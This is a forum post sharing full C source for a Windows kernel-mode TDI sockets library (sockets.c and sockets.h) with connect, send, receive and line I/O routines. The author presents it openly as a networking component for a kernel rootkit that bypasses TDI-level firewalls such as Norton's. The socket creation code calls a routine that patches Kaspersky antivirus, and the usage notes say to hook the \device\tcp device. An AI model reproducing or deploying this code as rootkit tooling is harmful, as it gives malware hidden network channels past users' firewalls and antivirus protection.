By: valerino
Kernel mode sockets library
It';s my birthday today (just turned 31 the 31st december, funny eh ?!), i wanted to publish something,
it makes me feel alive. Christ lived 33 years only, if i';d be the new Christ
i';ve only 2 years left, so better to share my knowledge now :)
Well, here you have a fully functional TDI sockets library. You can connect,
send, receive, all from your supa-dupa-l333t kernelmode rootkit. Yes, you can
bypass lame TDI firewalls with this. No, you can';t bypass ndis firewalls.
(read : you can bypass norton';s firewall).
Consider that something like this worths $400+ from PCAUSA, and maybe more
from OSR (KSOCKS)..... enough for a new year';s present :)
Usage : you have to hook \\device\tcp yourself and set the global variable TcpIpDevice.
Then call KSocketInitialize and you';re done. Refer to the source for usage.... it shouldn';t be hard.
have fun, and happy 2006 to everyone ! Ciao! :)
-----------------------------------------sockets.c------------------------------
//************************************************************************
//
// sockets.c
// (c) valerino/xOANINO 2003/2004/2005
//
// this module implements a generic kernel sockets library.
// ** Beware that this is optimized for single thread use if REUSE_SOCKETSIRP is defined.**
//*****************************************************************************
#include "ntifs.h"
#define MODULE "**SOCKETS**"
#ifdef DBG
#ifdef NO_SOCKETS_DBGMSG
#undef KDebugPrint
#define KDebugPrint(DbgLevel,_x)
#endif
#endif
/************************************************************************/
// BOOL KSocketInitialize()
//
// Initialize kernelsockets library
//
/************************************************************************/
BOOL KSocketInitialize()
{
ExInitializePagedLookasideList(&LookasideSocketMem, NULL, NULL, 0, 1024, ';lskN';, 0);
ExInitializePagedLookasideList(&LookasideSocket,NULL,NULL,0,sizeof (KSOCKET),';cosN';,0);
#ifdef REUSE_SOCKETSIRP
// check for tcpdevice
if (!TcpIpDevice)
return TRUE;
// allocate the single irp we use throughout the sockets library
SocketsIrp = IoAllocateIrp(TcpIpDevice->StackSize + 1, FALSE);
if (!SocketsIrp)
return FALSE;
#endif
return TRUE;
}
/************************************************************************/
// PVOID KSocketAllocatePool(VOID)
//
// Allocate memory from sockets lookaside
//
/************************************************************************/
PVOID KSocketAllocatePool(VOID)
{
PCHAR p = NULL;
p = ExAllocateFromPagedLookasideList(&LookasideSocketMem);
if (p)
memset(p, 0, SMALLBUFFER_SIZE);
return p;
}
/************************************************************************/
// void KSocketFreePool(PVOID pBuffer)
//
// Free memory to sockets lookaside
//
/************************************************************************/
void KSocketFreePool(PVOID pBuffer)
{
ExFreeToPagedLookasideList(&LookasideSocketMem, pBuffer);
}
/************************************************************************/
// NTSTATUS KSocketCloseObject(HANDLE Handle, PFILE_OBJECT FileObject)
//
// Release a socket object
//
/************************************************************************/
NTSTATUS KSocketCloseObject(HANDLE Handle, PFILE_OBJECT FileObject)
{
NTSTATUS Status = STATUS_SUCCESS;
// dereference referenced object (called for connection and address)
if (FileObject)
ObDereferenceObject(FileObject);
// close socket
if (Handle)
Status = ZwClose(Handle);
return Status;
}
/************************************************************************/
// PFILE_FULL_EA_INFORMATION KSocketBuildEaValues(PVOID EaName, ULONG NameLength, PVOID EaValue,
// ULONG ValueLength, PULONG EaLength)
//
// Build EA information for the socket object
//
/************************************************************************/
PFILE_FULL_EA_INFORMATION KSocketBuildEaValues(PVOID EaName, ULONG NameLength, PVOID EaValue,
ULONG ValueLength, PULONG EaLength)
{
PFILE_FULL_EA_INFORMATION Ea;
*EaLength = FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName[0]) + NameLength + 1 + ValueLength;
// allocate ea buffer
Ea = ExAllocatePool(PagedPool, *EaLength);
if (!Ea)
return NULL;
// fill buffer with EA values requested
Ea->NextEntryOffset = 0;
Ea->Flags = 0;
Ea->EaNameLength = (UCHAR) NameLength;
Ea->EaValueLength = (USHORT) ValueLength;
memcpy (Ea->EaName,EaName,Ea->EaNameLength + 1);
if (EaValue && EaLength)
memcpy (&Ea->EaName[NameLength + 1],EaValue,ValueLength);
return Ea;
}
/************************************************************************/
// NTSTATUS KSocketOpenAddress(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
//
// Open address
//
/************************************************************************/
NTSTATUS KSocketOpenAddress(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
{
UNICODE_STRING Name;
OBJECT_ATTRIBUTES ObjectAttributes;
PFILE_FULL_EA_INFORMATION Ea = NULL;
ULONG EaLength;
IO_STATUS_BLOCK Iosb;
NTSTATUS Status;
TA_IP_ADDRESS Sin;
// initialize address
Sin.TAAddressCount = 1;
Sin.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
Sin.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
Sin.Address[0].Address[0].sin_port = 0; // INADDR_ANY;
Sin.Address[0].Address[0].in_addr = 0;
// get EA values for address
Ea = KSocketBuildEaValues(TdiTransportAddress, TDI_TRANSPORT_ADDRESS_LENGTH, &Sin,
sizeof(TA_IP_ADDRESS), &EaLength);
if (!Ea)
{
Status = STATUS_INSUFFICIENT_RESOURCES;
goto __exit;
}
// open tcp device
RtlInitUnicodeString(&Name, TCPIP_DEVICE);
InitializeObjectAttributes(&ObjectAttributes, &Name, OBJ_CASE_INSENSITIVE, NULL, 0);
Status = ZwCreateFile(Handle, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &ObjectAttributes, &Iosb, 0,
FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ,FILE_OPEN_IF,0, Ea, EaLength);
if (!NT_SUCCESS(Status))
goto __exit;
Status = ObReferenceObjectByHandle(*Handle, FILE_ANY_ACCESS, 0, KernelMode, FileObject, NULL);
__exit:
if (Ea)
ExFreePool(Ea);
return Status;
}
/************************************************************************/
// NTSTATUS KSocketOpenConnection(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
//
// open connection
//
/************************************************************************/
NTSTATUS KSocketOpenConnection(PHANDLE Handle, PFILE_OBJECT* FileObject, PVOID Context)
{
UNICODE_STRING Name;
OBJECT_ATTRIBUTES ObjectAttributes;
PFILE_FULL_EA_INFORMATION Ea = NULL;
ULONG EaLength;
IO_STATUS_BLOCK Iosb;
NTSTATUS Status;
// get EA values for connection
Ea = KSocketBuildEaValues(TdiConnectionContext, TDI_CONNECTION_CONTEXT_LENGTH, &Context,
sizeof(PKSOCKET), &EaLength);
if (!Ea)
{
Status = STATUS_INSUFFICIENT_RESOURCES;
goto __exit;
}
// open tcp device
RtlInitUnicodeString(&Name, TCPIP_DEVICE);
InitializeObjectAttributes(&ObjectAttributes, &Name, OBJ_CASE_INSENSITIVE, NULL, 0);
Status = ZwCreateFile(Handle, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &ObjectAttributes, &Iosb, 0,
FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ,FILE_OPEN_IF, 0, Ea, EaLength);
if (!NT_SUCCESS(Status))
goto __exit;
Status = ObReferenceObjectByHandle(*Handle, FILE_ANY_ACCESS, 0, KernelMode, FileObject, NULL);
__exit:
if (Ea)
ExFreePool(Ea);
return Status;
}
//************************************************************************
// NTSTATUS KSocketComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
//
// Socket completion routine
//************************************************************************/
NTSTATUS KSocketComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
PMDL mdl = NULL;
PMDL nextMdl = NULL;
PKSOCKET_CTX Ctx = (PKSOCKET_CTX)Context;
// set status block
Ctx->Iosb.Status = Irp->IoStatus.Status;
Ctx->Iosb.Information = Irp->IoStatus.Information;
// Free any associated MDL.
if (Irp->MdlAddress != NULL)
{
for (mdl = Irp->MdlAddress; mdl != NULL; mdl = nextMdl)
{
nextMdl = mdl->Next;
MmUnlockPages(mdl);
// This function will also unmap pages.
IoFreeMdl(mdl);
}
// set mdl address to null, to prevent iofreeirp to attempt to free it again
Irp->MdlAddress = NULL;
}
#ifdef REUSE_SOCKETSIRP
// set irp for reuse
IoReuseIrp (Irp,STATUS_SUCCESS);
#else
// free irp
IoFreeIrp (Irp);
#endif
// set event
if (Ctx)
KeSetEvent (&Ctx->Event,IO_NO_INCREMENT,FALSE);
return STATUS_MORE_PROCESSING_REQUIRED;
}
//************************************************************************
// NTSTATUS KSocketAssociateAddress(HANDLE Address, PFILE_OBJECT Connection)
//
// Associate address
//************************************************************************/
NTSTATUS KSocketAssociateAddress(HANDLE Address, PFILE_OBJECT Connection)
{
PDEVICE_OBJECT DeviceObject;
PIRP Irp = NULL;
NTSTATUS Status = STATUS_TIMEOUT;
KSOCKET_CTX Ctx;
// initialize event and device
KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);
DeviceObject = TcpIpDevice;
// allocate TDI_ASSOCIATE_ADDRESS irp
#ifdef REUSE_SOCKETSIRP
Irp = SocketsIrp;
#else
Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
if (!Irp)
return STATUS_INSUFFICIENT_RESOURCES;
// build irp (this set completion routine too)
TdiBuildAssociateAddress(Irp, DeviceObject, Connection,KSocketComplete, &Ctx, Address);
// call tcpip
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketAssociateAddress timeout occurred ***************** cancelling IRP\n", MODULE));
// cancel irp
IoCancelIrp(Irp);
// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);
Status = STATUS_CONNECTION_ABORTED;
}
else
{
// ok
Status = Ctx.Iosb.Status;
}
}
return Status;
}
//************************************************************************
// NTSTATUS KSocketConnect(PKSOCKET pSocket, ULONG Address, USHORT Port)
//
// Connect socket to address:port
//************************************************************************/
NTSTATUS KSocketConnect(PKSOCKET pSocket, ULONG Address, USHORT Port)
{
PDEVICE_OBJECT DeviceObject;
PIRP Irp = NULL;
NTSTATUS Status = STATUS_TIMEOUT;
KSOCKET_CTX Ctx;
TDI_CONNECTION_INFORMATION RequestInfo;
TA_IP_ADDRESS RemoteAddress;
PFILE_OBJECT Connection;
KDebugPrint (2,("%s KSocketConnect called.\n",MODULE));
if (!pSocket)
return STATUS_UNSUCCESSFUL;
// set parameters
Connection = pSocket->ConnectionFile;
memset (&RequestInfo,0, sizeof(TDI_CONNECTION_INFORMATION));
memset (&RemoteAddress,0,sizeof (TA_IP_ADDRESS));
RemoteAddress.TAAddressCount = 1;
RemoteAddress.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;
RemoteAddress.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
RemoteAddress.Address[0].Address[0].sin_port = Port;
RemoteAddress.Address[0].Address[0].in_addr = Address;
RequestInfo.UserDataLength = 0;
RequestInfo.UserData = NULL;
RequestInfo.OptionsLength = 0;
RequestInfo.Options = NULL;
RequestInfo.RemoteAddressLength = sizeof(TA_IP_ADDRESS);
RequestInfo.RemoteAddress = &RemoteAddress;
// initialize event and device
KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);
DeviceObject = TcpIpDevice;
// allocate TDI_CONNECT irp
#ifdef REUSE_SOCKETSIRP
Irp = SocketsIrp;
#else
Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
// build irp (this set completion routine too)
TdiBuildConnect (Irp, DeviceObject,Connection,KSocketComplete, &Ctx,NULL, &RequestInfo,&RequestInfo);
// call tcpip
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketConnect timeout occurred ***************** cancelling IRP\n", MODULE));
// cancel irp
IoCancelIrp(Irp);
// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);
Status = STATUS_CONNECTION_ABORTED;
}
else
// ok
Status = Ctx.Iosb.Status;
}
if (Status == STATUS_SUCCESS)
pSocket->Connected = TRUE;
return Status;
}
//************************************************************************
// NTSTATUS KSocketDisconnect(PKSOCKET pSocket
//
// Disconnect socket
//************************************************************************/
NTSTATUS KSocketDisconnect(PKSOCKET pSocket)
{
PDEVICE_OBJECT DeviceObject;
PIRP Irp = NULL;
NTSTATUS Status = STATUS_TIMEOUT;
TDI_CONNECTION_INFORMATION ReqDisconnect;
PFILE_OBJECT Connection;
ULONG Flags;
KSOCKET_CTX Ctx;
// check if socket is already disconnected
if (!pSocket)
return STATUS_UNSUCCESSFUL;
if (!pSocket->Connected)
return STATUS_ALREADY_DISCONNECTED;
// set parameters
Connection = pSocket->ConnectionFile;
memset(&ReqDisconnect,0,sizeof (TDI_CONNECTION_INFORMATION));
Flags = TDI_DISCONNECT_ABORT;
// initialize event and device
KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);
DeviceObject = TcpIpDevice;
// allocate TDI_DISCONNECT irp
#ifdef REUSE_SOCKETSIRP
Irp = SocketsIrp;
#else
Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
if (!Irp)
return STATUS_INSUFFICIENT_RESOURCES;
// build irp (this set completion routine too)
TdiBuildDisconnect (Irp, DeviceObject,Connection,KSocketComplete, &Ctx, NULL,Flags,&ReqDisconnect,&ReqDisconnect);
// call tcpip
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketDisconnect timeout occurred ***************** cancelling IRP\n", MODULE));
// cancel irp
IoCancelIrp(Irp);
// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);
Status = STATUS_CONNECTION_ABORTED;
}
else
{
// ok
Status = Ctx.Iosb.Status;
}
}
if (NT_SUCCESS (Status))
pSocket->Connected = FALSE;
return Status;
}
//************************************************************************
// NTSTATUS KSocketSend(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesSent)
//
// Send buffer thru socket
//************************************************************************/
NTSTATUS KSocketSend(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesSent)
{
PDEVICE_OBJECT DeviceObject;
PFILE_OBJECT Connection;
PIRP Irp = NULL;
NTSTATUS Status = STATUS_TIMEOUT;
KSOCKET_CTX Ctx;
PMDL Mdl;
KDebugPrint (2,("%s KSocketSend called.\n",MODULE));
if (!pSocket)
return STATUS_UNSUCCESSFUL;
// set parameters
Connection = pSocket->ConnectionFile;
*BytesSent = 0;
// initialize event and device
KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);
DeviceObject = TcpIpDevice;
// allocate TDI_SEND irp
#ifdef REUSE_SOCKETSIRP
Irp = SocketsIrp;
#else
Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
if (!Irp)
return STATUS_INSUFFICIENT_RESOURCES;
// build mdl
Mdl = IoAllocateMdl(Buffer, Size, FALSE, FALSE, NULL);
if (!Mdl)
{
Status = STATUS_INSUFFICIENT_RESOURCES;
IoFreeIrp (Irp);
return Status;
}
__try
{
MmProbeAndLockPages(Mdl, KernelMode, IoReadAccess);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl (Mdl);
IoFreeIrp (Irp);
Status = STATUS_UNSUCCESSFUL;
return Status;
}
Mdl->Next = NULL;
// build irp (this set completion routine too)
TdiBuildSend (Irp, DeviceObject,Connection,KSocketComplete, &Ctx,Mdl,0,Size);
// call tcp
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketSend timeout occurred ***************** cancelling IRP\n", MODULE));
// cancel irp
IoCancelIrp(Irp);
// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);
Status = STATUS_CONNECTION_ABORTED;
}
else
{
// ok
Status = Ctx.Iosb.Status;
}
}
// return sent bytes
*BytesSent = Ctx.Iosb.Information;
// check transferred bytes
if (Ctx.Iosb.Information != Size)
Status = STATUS_CONNECTION_ABORTED;
if (!NT_SUCCESS(Status))
{
KDebugPrint(1, ("%s KSocketSend returned error %08x (ReqSent:%d,OkSent:%d)\n", MODULE, Status,
Size, *BytesSent));
}
return Status;
}
//************************************************************************
// NTSTATUS KSocketReceive(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesReceived, BOOLEAN ReceivePeek)
//
// Receive buffer thru socket
//************************************************************************/
NTSTATUS KSocketReceive(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesReceived, BOOLEAN ReceivePeek)
{
PDEVICE_OBJECT DeviceObject;
PFILE_OBJECT Connection;
PIRP Irp = NULL;
NTSTATUS Status = STATUS_TIMEOUT;
PMDL Mdl;
ULONG Flags;
KSOCKET_CTX Ctx;
KDebugPrint (2,("%s KSocketReceive called.\n",MODULE));
if (!pSocket)
return STATUS_UNSUCCESSFUL;
// set parameters
Connection = pSocket->ConnectionFile;
*BytesReceived = 0;
if (ReceivePeek)
Flags = TDI_RECEIVE_PEEK;
else
Flags = TDI_RECEIVE_NORMAL;
// initialize event and device
KeInitializeEvent(&Ctx.Event, NotificationEvent, FALSE);
DeviceObject = TcpIpDevice;
// allocate TDI_RECEIVE irp
#ifdef REUSE_SOCKETSIRP
Irp = SocketsIrp;
#else
Irp = IoAllocateIrp(DeviceObject->StackSize + 1, FALSE);
#endif
if (!Irp)
return STATUS_INSUFFICIENT_RESOURCES;
// build mdl
Mdl = IoAllocateMdl(Buffer, Size, FALSE, FALSE, NULL);
if (!Mdl)
{
Status = STATUS_INSUFFICIENT_RESOURCES;
IoFreeIrp (Irp);
return Status;
}
__try
{
MmProbeAndLockPages(Mdl, KernelMode, IoWriteAccess);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl (Mdl);
IoFreeIrp (Irp);
Status = STATUS_UNSUCCESSFUL;
return Status;
}
Mdl->Next = NULL;
// build irp (this set completion routine too)
TdiBuildReceive (Irp, DeviceObject,Connection,KSocketComplete, &Ctx,Mdl,Flags,Size);
// call tcp
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketReceive timeout occurred ***************** cancelling IRP\n", MODULE));
// cancel irp
IoCancelIrp(Irp);
// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);
Status = STATUS_CONNECTION_ABORTED;
}
else
{
// ok
Status = Ctx.Iosb.Status;
}
}
// return received bytes
*BytesReceived = Ctx.Iosb.Information;
// check received bytes
if (Ctx.Iosb.Information == 0)
Status = STATUS_CONNECTION_ABORTED;
if (!NT_SUCCESS(Status))
{
KDebugPrint(1, ("%s KSocketReceive returned error %08x (ReqRecv:%d,OkRecv:%d)\n", MODULE, Status,
Size, *BytesReceived));
}
return Status;
}
//************************************************************************
// VOID KSocketClose(PKSOCKET Socket)
//
// Close socket and Release socket memory
//************************************************************************/
VOID KSocketClose(PKSOCKET Socket)
{
if (Socket == NULL)
{
return;
}
KSocketCloseObject(Socket->TransportAddressHandle, Socket->TransportAddress);
KSocketCloseObject(Socket->ConnectionFileHandle, Socket->ConnectionFile);
ExFreeToPagedLookasideList (&LookasideSocket,Socket);
Socket = NULL;
}
//************************************************************************
// NTSTATUS KSocketCreate(OUT PKSOCKET* Socket)
//
// Create socket
//************************************************************************/
NTSTATUS KSocketCreate(OUT PKSOCKET* Socket)
{
NTSTATUS Status = STATUS_SUCCESS;
PKSOCKET iSocket = NULL;
#ifdef ALWAYS_DISABLESOCKETS
KDebugPrint(1,("%s Sockets disabled, connect skipped.\n", MODULE));
return STATUS_UNSUCCESSFUL;
#endif
// check disabled sockets
if (DisableSockets)
{
KDebugPrint(1,("%s Sockets disabled, connect skipped.\n", MODULE));
return STATUS_UNSUCCESSFUL;
}
// handle KAV (crash if not patched)
ModulePatchKAV();
// allocate memory for a new socket
iSocket = ExAllocateFromPagedLookasideList(&LookasideSocket);
if (!iSocket)
{
Status = STATUS_INSUFFICIENT_RESOURCES;
goto __exit;
}
memset (iSocket,0, sizeof(KSOCKET));
// open transport address
Status = KSocketOpenAddress(&iSocket->TransportAddressHandle, &iSocket->TransportAddress,
iSocket);
if (!NT_SUCCESS(Status))
goto __exit;
// create connection endpoint
Status = KSocketOpenConnection(&iSocket->ConnectionFileHandle, &iSocket->ConnectionFile,
iSocket);
if (!NT_SUCCESS(Status))
goto __exit;
// associate address with connection
Status = KSocketAssociateAddress(iSocket->TransportAddressHandle, iSocket->ConnectionFile);
if (!NT_SUCCESS(Status))
goto __exit;
__exit:
if (!NT_SUCCESS(Status))
{
if (iSocket)
KSocketClose(iSocket);
*Socket = NULL;
}
else
*Socket = iSocket;
return Status;
}
/************************************************************************/
// NTSTATUS KSocketReadLine(PKSOCKET pSocket, PCHAR buf, SIZE_T maxlen, PSIZE_T ReceivedBytes)
//
// Read line (ascii) from network
//
/************************************************************************/
NTSTATUS KSocketReadLine(PKSOCKET pSocket, PCHAR buf, SIZE_T maxlen, PSIZE_T ReceivedBytes)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UCHAR c = 0;
ULONG i = 0;
ULONG received = 0;
// check params
if (!pSocket || !buf || !ReceivedBytes || !maxlen)
goto __exit;
*ReceivedBytes = 0;
if (!pSocket->Connected)
goto __exit;
// read line char by char, and stop at EOL
memset (buf, 0, maxlen);
while (TRUE)
{
if (i == maxlen)
break;
// get char from socket
Status = KSocketReceive (pSocket,&c,1,&received,FALSE);
if (!NT_SUCCESS (Status) || received == 0)
break;
// write char into buffer and advance
*buf = c;
buf++;
i++;
// check for EOL
if (c == ';\n';)
{
*ReceivedBytes = i;
break;
}
}
__exit:
// treat 0 size received as error
if (received == 0)
Status = STATUS_NO_DATA_DETECTED;
return Status;
}
/************************************************************************/
// NTSTATUS KSocketWriteLine(PKSOCKET pSocket, const char* format, ...)
//
// write formatted line (ascii) to network
//
/************************************************************************/
NTSTATUS KSocketWriteLine(PKSOCKET pSocket, const char* format, ...)
{
va_list ap;
char* buf;
ULONG len;
NTSTATUS Status;
SIZE_T BytesSent = 0;
// allocate memory
buf = KSocketAllocatePool();
if (!buf)
return STATUS_INSUFFICIENT_RESOURCES;
// build line
va_start(ap, format);
_vsnprintf(buf, SMALLBUFFER_SIZE, format, ap);
va_end(ap);
len = strlen(buf);
// send
Status = KSocketSend(pSocket, buf, len, &BytesSent);
// free buffer
KSocketFreePool(buf);
// check if we';ve sent all bytes
if (BytesSent < len)
return STATUS_UNSUCCESSFUL;
return Status;
}
-----------------------------------------sockets.h------------------------------
#ifndef __sockets_h__
#define __sockets_h__
#define REUSE_SOCKETSIRP
// debugprint with debuglevel (if dbglevel == debug level, it triggers)
#if DBG
#define KDebugPrint(DbgLevel,_x) { \
if (DbgLevel == DEBUG_LEVEL)
{
DbgPrint _x;
}
}
#else
#define KDebugPrint(DbgLevel,_x)
#endif //DBG
//#define ALWAYS_DISABLESOCKETS
//************************************************************************
// kernel sockets
//
//************************************************************************/
PDEVICE_OBJECT TcpIpDevice;
typedef struct __tagKSOCKET
{
PFILE_OBJECT TransportAddress;
HANDLE TransportAddressHandle;
PFILE_OBJECT ConnectionFile;
HANDLE ConnectionFileHandle;
BOOLEAN Connected;
}KSOCKET, * PKSOCKET;
typedef struct _tagKSOCKET_CTX {
KEVENT Event;
IO_STATUS_BLOCK Iosb;
} KSOCKET_CTX, *PKSOCKET_CTX;
PAGED_LOOKASIDE_LIST LookasideSocketMem;
PAGED_LOOKASIDE_LIST LookasideSocket;
KEVENT NoNetworkFailures;
BOOLEAN DisableSockets; // flag to disable sockets if needed
PDRIVER_DISPATCH OriginalTcpInternalDeviceControl;
PIRP SocketsIrp;
// all paged code except the completion routine
BOOL KSocketInitialize();
#pragma alloc_text (PAGEboom,KSocketInitialize)
NTSTATUS KSocketCreate(OUT PKSOCKET* Socket);
VOID KSocketClose(PKSOCKET Socket);
PVOID KSocketAllocatePool();
void KSocketFreePool(PVOID pBuffer);
NTSTATUS KSocketSend(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size,
PSIZE_T BytesSent);
NTSTATUS KSocketConnect(PKSOCKET pSocket, ULONG Address, USHORT Port);
NTSTATUS KSocketDisconnect(PKSOCKET pSocket);
NTSTATUS KSocketComplete(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);
NTSTATUS KSocketReceive(PKSOCKET pSocket, PVOID Buffer, SIZE_T Size, PSIZE_T BytesReceived,
BOOLEAN ReceivePeek);
NTSTATUS KSocketReadLine(PKSOCKET pSocket, PCHAR buf, SIZE_T maxlen, PSIZE_T ReceivedBytes);
NTSTATUS KSocketWriteLine(PKSOCKET pSocket, const char* format, ...);
#endif // __sockets_h__
|